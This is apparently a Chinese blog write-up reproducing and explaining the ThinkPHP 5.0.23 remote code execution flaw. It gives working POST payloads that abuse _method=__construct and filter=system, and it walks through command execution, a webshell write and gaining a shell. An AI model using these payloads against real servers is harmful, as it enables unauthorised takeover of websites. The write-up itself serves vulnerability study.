ThinkPHP(5.0.23-rce)任意代码执行漏洞复现及原理


漏洞详情:

攻击者可向缓存文件内写入PHP代码,导致远程代码执行。根据漏洞利用能得出通过s参数传递具体的路由。参考http://blog.nsfocus.net/thinkphp-full-version-rce-vulnerability-analysis/?tdsourcetag=s_pctim_aiomsg梳理出的漏洞流程图:

20190116110438.png

可以得到重要是参数为method和filter。value是传入的数组值,由server决定。

解析POC:

_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id

_method=__construct:调用构造方法__construct(),可以覆盖Request类的任意成员变量,这里修改了filter和server(value)两个值,同时覆盖了method。

filter=system:传递filter值,覆盖原有值。

server[REQUEST_METHOD]=id:在调用$this→server('REQUEST_METHOD')时指定了键值,所以通过传入server数组即可。

method=get:这里是通过check()方法分析$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];得到。它的返回值由$rules决定,而$rules的值取决于键值$method,当我们指定$method为get时,可以正确获取到路由信息,从而通过checkRoute()检查,此时我们通过指定method=get覆盖$this->method的值即可

大佬的分析太妙了,这样子之后,我们就可以直接修改filter以及server(value)的值了。将我们需要的值传递覆盖之后,获取正常的路由信息,就能返回我们想要的信息。

漏洞影响版本:

影响 ThinkPHP 版本 5.x < 5.1.31, <= 5.0.23

漏洞利用:

index.php?s=captcha

漏洞复现:

根据POC我们使用hackbar进行测试,可以执行,后面尝试获取phpinfo。

undefined

将post值改为:_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1。

undefined

undefined

第一步中可以执行system命令,尝试echo写入是否可以执行。

将post值改为:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo 1

undefined

可以执行echo,后面尝试写入一句话木马。

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '' > 1.php

undefined

执行之后页面无回现,尝试调用ls命令。

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

undefined

写入成功,上蚁剑尝试。

undefined

拿到Shell,复现完成。

POC回看:

使用hackbar,

url:/index.php?s=captcha

post:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id